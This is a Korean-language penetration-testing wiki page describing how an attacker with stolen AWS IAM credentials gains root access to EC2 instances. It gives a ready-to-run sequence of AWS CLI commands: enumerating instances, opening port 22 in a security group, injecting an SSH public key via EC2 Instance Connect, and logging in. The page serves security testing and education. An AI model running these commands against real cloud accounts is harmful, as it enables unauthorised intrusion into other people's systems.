> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/cloud/aws/undefined-1/initial-access-via-ssh-key-injection.md).

# Initial access via ssh key injection

탈취한 IAM 사용자 계정에 특정 권한이 있을 때, 공격자는 인스턴스의 시스템에 로그인할 수 있습니다.

공격자가 AWS 크리덴셜을 탈취하더라도 인스턴스 내에서 ssh 서비스가 비활성화 상태일 경우, 외부에서 강제로  인스턴스 내 ssh 서비스를 활성화할 방법이 없기 때문에 다음 2가지 시나리오가 가능합니다.

* 인스턴스 내 ssh 서비스가 실행 중이며, 외부에 ssh 포트가 열려있는 경우
* 인스턴스 내 ssh 서비스가 실행 중이며, 외부에 ssh 포트가 닫혀있는 경우

두 시나리오에서 공통적으로 필요한 IAM 권한은 `ec2:DescribeInstances`, `ec2-instance-connect:SendSSHPublicKey` 권한이며, 외부에 ssh 포트가 노출되어 있지 않을 경우 `ec2:authorize-security-group-ingress` 권한이 추가적으로 필요합니다.

## Abuse

{% tabs %}
{% tab title="opened ssh port" %}

<pre class="language-bash"><code class="lang-bash"><strong># ssh key 생성
</strong>ssh-keygen -t ed25519

<strong># aws ec2 인스턴스 목록 열거
</strong>aws ec2 describe-instances --query 'Reservations[].Instances[].{ID:InstanceId,State:State.Name,PublicIP:PublicIpAddress,PrivateIP:PrivateIpAddress}' --output table

<strong># 인스턴스 시스템에 ssh key 인젝션
</strong>aws ec2-instance-connect send-ssh-public-key --instance-id '&#x3C;instance-id>' --instance-os-user 'root' --ssh-public-key file://'&#x3C;ssh-key>'

<strong># ssh 키를 이용하여 시스템 접속
</strong>ssh root@'&#x3C;instance-ip>' -i '&#x3C;ssh-key>'
</code></pre>

{% endtab %}

{% tab title="closed ssh port" %}

<pre class="language-bash"><code class="lang-bash"><strong># aws ec2 인스턴스 목록 및 보안그룹 열거
</strong>aws ec2 describe-instances --query 'Reservations[].Instances[].{ID:InstanceId,State:State.Name,PublicIP:PublicIpAddress,SGs:SecurityGroups[].GroupId}' --output table

<strong># 인스턴스의 보안그룹에 ssh 포트 개방
</strong>aws ec2 authorize-security-group-ingress --group-id '&#x3C;sg-id>' --protocol tcp --port 22 --cidr '&#x3C;your-ip>'

<strong># ssh key 생성
</strong>ssh-keygen -t ed25519

<strong># 인스턴스 시스템에 ssh key 인젝션
</strong>aws ec2-instance-connect send-ssh-public-key --instance-id '&#x3C;instance-id>' --instance-os-user 'root' --ssh-public-key file://'&#x3C;ssh-key>'

<strong># ssh 키를 이용하여 시스템 접속
</strong>ssh root@'&#x3C;instance-ip>' -i '&#x3C;ssh-key>'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/>" %}

{% embed url="<https://docs.aws.amazon.com/cli/latest/reference/ec2-instance-connect/send-ssh-public-key.html>" %}
